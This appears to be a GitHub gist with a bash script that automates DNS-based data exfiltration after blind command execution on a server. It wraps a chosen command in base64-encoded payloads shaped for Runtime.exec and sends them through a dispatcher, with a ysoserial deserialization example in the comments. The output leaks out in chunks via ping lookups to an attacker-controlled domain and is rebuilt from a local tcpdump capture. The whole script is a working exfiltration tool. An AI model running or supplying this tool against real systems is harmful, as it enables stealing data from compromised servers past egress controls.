Created
October 13, 2020 09:49
-
-
Save irsdl/5b237ca64fcaf50e2cb4ffd0817f661e to your computer and use it in GitHub Desktop.
A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
: ' | |
Usage: | |
./dns_data_exfiltration.sh "ls -lh" #the output of "ls -lh" will be exfiltrated over dns | |
Todo: | |
1. add support for powershell | |
something like the following should do the trick but haven't tested it: | |
outer_cmd_template="powershell -enc %CMD_B64%" | |
user_cmd_template="[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${1}))).Substring(%INDEX%,%COUNT%)" | |
user_cmd_out_len="[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${1}))).length" | |
set the global win=1 | |
and pray | |
2. currently the given command is executed multiple times on the server until all of its output is exfiltrated. That's not too bad unless | |
the command we are running is not idempotent or is time/resource intensive. We can add the option that would allow first storing the | |
results in a file and all the subsequent calls read from that file instead of executing the initial command again and again. | |
work around: manually execute cmd>/tmp/file and then run cat/dd the file | |
3. parallelize the data extraction loop, e.g. run the bottom part of the loop in a subshell and use dd seek=${index_base} | |
to write the exfiltrated data to a file | |
' | |
dns_prog="ping -c10" #the command that will trigger the dns requests on the target server. note: nslookup is blocked by some wafs | |
dns_host=uid.yourdns.ns #uid can be an identifier for the assessment target | |
nlabels=3 #data1.data2.data3.uid.yourdns.ns | |
label_size=30 #len(data1) | |
dispatcher=/path/to/dispatcher #the dispatcher should take as argument a command and have it executed on the target server, e.g. curl https://vulnerable_server -d $(ysoserial ... $(1)) | |
get_dns_traffic_cmd=(stdbuf -oL tcpdump --immediate -l "udp port 53") #the command that will be used to capture dns traffic | |
oci=0 | |
debug=0 | |
################## | |
base64_path=$(command -v base64) | |
function debug_print { | |
[[ $debug -ne 0 ]] && echo "$@" | |
} | |
function base64 { | |
local target_enc="UTF-8" | |
[[ $win -eq 1 ]] && target_enc=UTF-16LE #bash appears to accept this encoding but since it almost doubles the size of the output we keep them separate | |
if [[ $1 != -d ]]; then #needs some clean up, maybe create base64_encode,decode | |
iconv -f UTF-8 -t "$target_enc" | "${base64_path}" "$@" | |
else | |
"${base64_path}" "$@" | |
fi | |
} | |
function listen_for { | |
local data | |
local dns_req_host | |
local postfix="$1" | |
while read -r line || [[ -n $line ]]; do | |
if [[ $line == *"${postfix}"* ]]; then | |
dns_req_host=$(echo "$line"|grep -Eo "[^ ]+${postfix}") | |
data=${dns_req_host%${postfix}} | |
break | |
fi | |
done < <("${get_dns_traffic_cmd[@]}" 2>/dev/null) | |
printf %s $data | |
} | |
run_uid=$(date +%s) #used to identify the traffic generated by the current session | |
unique_dns_host="${run_uid}.${dns_host}" | |
#java.lang.Runtime.exec friendly commands | |
outer_cmd_template_arr=('bash -c {echo,%CMD_B64%}|{base64,-d}|bash') | |
outer_cmd_template_arr+=('bash -c $@|base64${IFS}-d|bash . echo %CMD_B64%') | |
outer_cmd_template=${outer_cmd_template_arr[oci]} | |
innerdns_cmd_template=' %DNS_PROG% %USER_CMD%.%UNIQUE_DNS_HOST%' | |
user_cmd_template="\`(${1})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }\`" | |
user_cmd_out_len="\`(${1})|base64 -w0|wc -c\`" | |
[[ $EUID -ne 0 ]] && read -p "Might not have permissions to run tcpdump, type something to continue: " | |
#extracting command output length | |
pre_innerdns_cmd=${innerdns_cmd_template/'%DNS_PROG%'/$dns_prog} | |
pre_innerdns_cmd=${pre_innerdns_cmd/'%UNIQUE_DNS_HOST%'/$unique_dns_host} | |
innerdns_cmd=${pre_innerdns_cmd/'%USER_CMD%'/${user_cmd_out_len}.len} | |
cmd_b64=$(echo "$innerdns_cmd"|base64 -w0) | |
debug_print "cmd_b64=$cmd_b64" | |
outer_cmd=${outer_cmd_template/'%CMD_B64%'/$cmd_b64} | |
debug_print "outer_cmd=$outer_cmd" | |
"$dispatcher" "$outer_cmd" >/dev/null 2>&1 & | |
cmd_out_len=$(listen_for ".len.${unique_dns_host}") | |
echo "The command output length is: $cmd_out_len" | |
#extracting the command output | |
pre_innerdns_cmd=${innerdns_cmd_template/'%DNS_PROG%'/$dns_prog} | |
pre_innerdns_cmd=${pre_innerdns_cmd/'%UNIQUE_DNS_HOST%'/$unique_dns_host} | |
cmd_out="" | |
for ((index_base=0;index_base<${cmd_out_len};index_base+=${nlabels}*${label_size}));do | |
innerdns_cmd=${pre_innerdns_cmd/'%USER_CMD%'/'%USER_CMD%'.iter${index_base}} | |
for index in `seq $((index_base)) ${label_size} $((index_base+(nlabels-1)*label_size))`;do | |
[[ $index -ge $cmd_out_len ]] && break | |
count=$(((cmd_out_len-index)>label_size?label_size:cmd_out_len-index)) | |
user_cmd=${user_cmd_template/'%INDEX%'/${index}} | |
user_cmd=${user_cmd/'%COUNT%'/${count}} | |
innerdns_cmd=${innerdns_cmd/'%USER_CMD%'/${user_cmd}.'%USER_CMD%'} | |
done | |
innerdns_cmd=${innerdns_cmd/'.%USER_CMD%'} | |
cmd_b64=$(echo "$innerdns_cmd"|base64 -w0) | |
debug_print "cmd_b64=$cmd_b64" | |
outer_cmd=${outer_cmd_template/'%CMD_B64%'/$cmd_b64} | |
debug_print "outer_cmd=$outer_cmd" | |
"$dispatcher" "$outer_cmd" >/dev/null 2>&1 & | |
data=$(listen_for ".iter${index_base}.${unique_dns_host}") | |
debug_print "data for index_base=${index_base}: $data" | |
cmd_out="${cmd_out}${data}" | |
debug_print "$cmd_out" | |
printf "\r[$index_base/$cmd_out_len]" | |
done && echo | |
cmd_out=$(echo $cmd_out | tr -d .) | |
#undivided_data_len=$((cmd_out_len/label_size*label_size)) | |
#remainder_len=$((cmd_out_len-undivided_data_len)) | |
#cmd_out_adjusted="${cmd_out:0:undivided_data_len}" | |
#cmd_out_adjusted="${cmd_out_adjusted}${cmd_out:undivided_data_len+label_size-remainder_len:remainder_len}" | |
echo "$cmd_out" | base64 -d |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment